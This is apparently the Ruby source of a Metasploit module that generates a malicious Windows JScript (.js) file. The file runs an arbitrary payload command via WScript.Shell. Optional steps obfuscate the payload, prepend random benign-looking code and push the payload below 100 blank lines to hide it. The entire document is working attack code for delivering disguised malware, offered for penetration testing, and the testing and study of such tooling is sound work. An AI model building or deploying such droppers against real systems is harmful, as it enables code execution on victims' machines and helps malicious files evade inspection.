1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
|
require 'rex/exploitation/jsobfu'
class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Windows Script Host JScript (.js) File', 'Description' => %q{ This module creates a Windows Script Host (WSH) JScript (.js) file. }, 'License' => MSF_LICENSE, 'Author' => [ 'bcoles' ], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], ], 'Arch' => [ARCH_CMD], 'Platform' => 'win', 'Payload' => { 'Space' => 8_000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Targets' => [ [ 'Microsoft Windows 98 or newer', {} ], ], 'Privileged' => false, 'DisclosureDate' => '1998-06-25', 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [SCREEN_EFFECTS] } ) )
register_options([ OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) ])
register_advanced_options([ OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]), OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]), ]) end
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false) js = ''
if prepend_benign_code rand(5..10).times do js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n" end end
js << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
if escaped_payload.include?(' & ') cmd = "cmd.exe /c #{escaped_payload}" else cmd = escaped_payload end
shell_var = rand_text_alpha(6..16) js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");" js_payload << "#{shell_var}.Run(\"#{cmd}\");"
if obfuscate js_obfu = Rex::Exploitation::JSObfu.new(js_payload) obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s obfuscated_payload = obfuscated_payload.gsub('window[', 'String[') js << obfuscated_payload else js << js_payload end
js end
def exploit js = generate_jscript( payload.encoded, prepend_benign_code: datastore['PrependBenignCode'], prepend_new_lines: datastore['PrependNewLines'], obfuscate: datastore['OBFUSCATE'] ) file_create(js) end end
|